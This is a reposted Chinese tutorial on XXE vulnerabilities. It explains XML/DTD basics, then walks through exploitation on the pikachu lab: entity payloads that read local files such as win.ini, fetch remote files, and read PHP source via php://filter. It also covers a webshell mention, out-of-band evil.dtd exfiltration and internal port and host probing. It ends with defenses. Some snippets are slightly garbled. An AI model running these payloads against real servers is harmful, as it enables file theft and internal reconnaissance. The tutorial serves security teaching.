自学内容网 自学内容网

【web安全】——XXE漏洞

1.XML基础

1.1.XML简介

XML被称为可扩展标记语言,与HTML类似,但是HTML中的标签都是预定义(预先定义好每个标签的作用)的,而XML语言中的标签都是自定义(可以自己定义标签的名称、属性、值、作用)的;HTML中的标签可以是单标签,而XML中的标签必须是成对出现。

1.2XML语言的作用

HTML语言主要用来展示内容,而XML语言用来传输数据

1.3XML基本语法

1.3.1XML的语法规则

XML语言严格区分大小写,而HTML语言不区分大小写;XML语言只能有一个根标签;HTML语言中的属性值可以不用引号引起来,但是XM工语言中的属性值必须用引号引起来;XML中的标签必须成对出现;

XML会对特殊字符进行实体转义,需要转义的字符如下:标签之间不能交叉编写。

1.3.2.XML文档结构

XML文档由xml声明、DTD文档类型、文档元素三部分组成。

1.3.2.1DTD文档类型

DTD文档中的关键字

DOCTYPE(DTD的声明)

ENTITY(实体的声明)

ELEMENT(定义元素)

SYSTEM、PUBLIC(外部资源申请)

1.3.2.2DTD声明类型

内部声明:<!DOCTYPE 根元素[元素声明]>

外部声明:<!DOCTYPE 根元素 SYSTEM"外部文件名">

实体声明:

参数实体用“% 实体名称”声明,引用时也用“% 实体名称”;其余实体直接用实体名称声明,引用时用“&实体名称;”。参数实体只能在DTD中声明,DTD中引用;其余实体只能在DTD中声明,可以在XML文档中引用。所谓的实体就是预先定义好的数据或者数据的集合。

内部实体:<!ENTITY 实体名称“实体的值">

外部实体:<!ENTITY 实体名称 SYSTEM“URL">

参数实体:<!ENTITY %实体名称“实体的值">或者<!ENTITY 号实体名称 SYSTEM“URL”>

2.XXE漏洞基础

2.1漏洞原理

概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

2.2各种语言的伪协议

在引入外部实体攻击时候,我们可以使用各种语言的伪协议

libxml2

PHP

java

.net

file,http,ftp

file,http,ftp,php,compress.zlib,compress.bzip2,data,glob,phar

http,https,ftp,file,jar,netdoc,mailto,gopher

file,http,https,ftP

file:用来加载本地文件

http:用来加载远程文件

ftp:用来访问ftp服务器上的文件

php:用来读取php源码,php://filter

2.3漏洞危害

  • 探测内网端口
  • 攻击内网网站
  • 任意读取本地文件/远程读取文件
  • 读取php源码

3.XXE漏洞利用

3.1有回显利用

3.1.1读取本地文件

以pikachu靶场为例

先尝试一下网站接口能否正常解析XML文档

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE ANY[<!ENTITY name "my name is qingkuang">]>

<root>&name;</root>

测试结果如下所示,输出实体的值则表明该页面是可以解析XML文档的。

尝试利用伪协议读取本地的配置文件内容

<?xml version = "1.0"?>

<!DOCTYPE name

[ <!ENTITY hacker SYSTEM "file:///c://windows//win.ini">

]>

<name>&hacker;</name>

3.1.2读取远程文件

<?xml version="1.0" encoding="utf-8" ?>

<!DOCTYPE ANY[

<!ENTITY xxe sysTEM "http://IP地址/文件"> ]>

<x>&xxe;</x>

3.2POST型有回显漏洞利用

在XXE靶场中随意输入用户名密码等信息然后抓包

发现⽤户密码处格式类似于xml⽂档格式,因此可在此处测试能否解析XML⽂档。

测试是否能解析XML文档

能够解析,构造恶意的payload并执行

本地文件读取成功。

远程文件读取同上诉步骤一样,将文件地址改为ip地址

3.2.1读取本地文件php源码

<!DOCTYPE test

<!ENTITY xxe SYSTEM

php://filter/read=convert.base64-encode/resource=f:/udf.php"><user><username>&xxe,</username><password>11</password></user>

在源码中写入经过编码的一句话木马即可

3.3无回显漏洞利用

当利用上诉办法中的payload发现无回显时候,这个时候就要用的无回显漏洞利用

  1. 配置kali 在kali端开启Apache服务
  2. 配置kali中的evil.dtd文档
  3. 编写payload
  4. 查看结果

3.4探测内网端口

3.4.1探测指定端口

构造payload,同构造读取远程文件相同。

添加要探测的端口号,观察回显时间,若时间短,则是开启状态

3.4.2自动化探测

抓包后,将变量全部清除,设置端口号的位置为变量,引入端口号字典爆破,与弱口令爆破类似

3.5探测内网存活主机

将上诉中的变量改为IP地址最后一段,范围为1-254,根据响应时间可判断出,哪些可以ping通

4.防御

4.1禁用外部实体

PHP:libxml disable entity loader(true);

java:DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

python :

rom lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve entities=False))

4.2过滤

预定义字符转义:<

&lt;>

&gt;&

& amp ;

&apos;

&quot;

过滤用户提交的XML数据,关键词:SYSTEM和PUBLIC

禁用外部实体:libxml disable entity loader(true);


原文地址:https://blog.csdn.net/CYwxh0125/article/details/142685483

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!